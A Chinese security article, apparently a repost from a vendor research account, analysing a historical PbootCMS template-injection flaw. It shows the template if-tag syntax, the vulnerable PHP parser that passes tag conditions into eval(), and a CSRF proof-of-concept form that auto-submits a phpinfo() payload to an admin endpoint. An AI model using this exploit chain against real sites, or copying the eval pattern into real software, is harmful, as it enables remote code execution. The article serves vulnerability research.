注意:条件语句中字符串需要用单引号或双引号,条件也可以使用原生PHP代码;所有对其它标签的调用都为字符串,需要加单引号。
{pboot:if('a'=='b')}
内容1
{else}
内容2
{/pboot:if}
{pboot:if(date('Y')==2018)}2018年{/pboot:if}
<div class="nav">
<dl>
<dt><a href="{pboot:sitepath}/" {pboot:if(0=='{sort:scode}')}class='active'{/pboot:if}>首页</a></dt>
</dl>
{pboot:nav parent=0}
<dl>
<dt><a href="[nav:link]" {pboot:if('[nav:scode]'=='{sort:tcode}')}class='active'{/pboot:if}>[nav:name]</a></dt>
<dd>
{pboot:2nav parent=[nav:scode]}
<a href="[2nav:link]" {pboot:if('[2nav:scode]'=='{sort:scode}')}class='active'{/pboot:if}>[2nav:name]</a> |
{/pboot:2nav}
</dd>
</dl>
{/pboot:nav}
</div>
{pboot:if('a'=='b')}
{pboot:2if('a'=='b')}
内容1
{2else}
内容2
{/pboot:2if}
{else}
内容3
{/pboot:if}
// 解析IF条件标签
public function parserIfLabel($content)
{
$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
if (preg_match('/([sS]*)?{else}([sS]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
switch ($flag) {
case 'if': // 条件为真
if (isset($matches2[1])) {
$out_html = $matches2[1];
}
break;
case 'else': // 条件为假
if (isset($matches2[2])) {
$out_html = $matches2[2];
}
break;
}
} elseif ($flag == 'if') {
$out_html = $matches[2][$i];
}
// 无限极嵌套解析
if (preg_match($pattern2, $out_html, $matches3)) {
$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
$out_html = $this->parserIfLabel($out_html);
}
// 执行替换
$content = str_replace($matches[0][$i], $out_html, $content);
}
}
return $content;
}
$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
#csrf.html poc
<html>
<body>
<form action="http://test.com/admin.php/Message/mod/id/19.html?backurl=/index.php" method="POST" name="form1">
<input type="hidden" name="recontent" value="thank you{pboot:if(phpinfo()==1)}!{/pboot:if}" />
<input type="hidden" name="status" value="1" />
<input type="submit" value="" />
</form>
<script type="text/javascript">
setTimeout("form1.submit();",100);
</script>
</body>
</html>
原文始发于微信公众号(山石网科安全技术研究院):PbootCMS历史漏洞分析 0x01
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论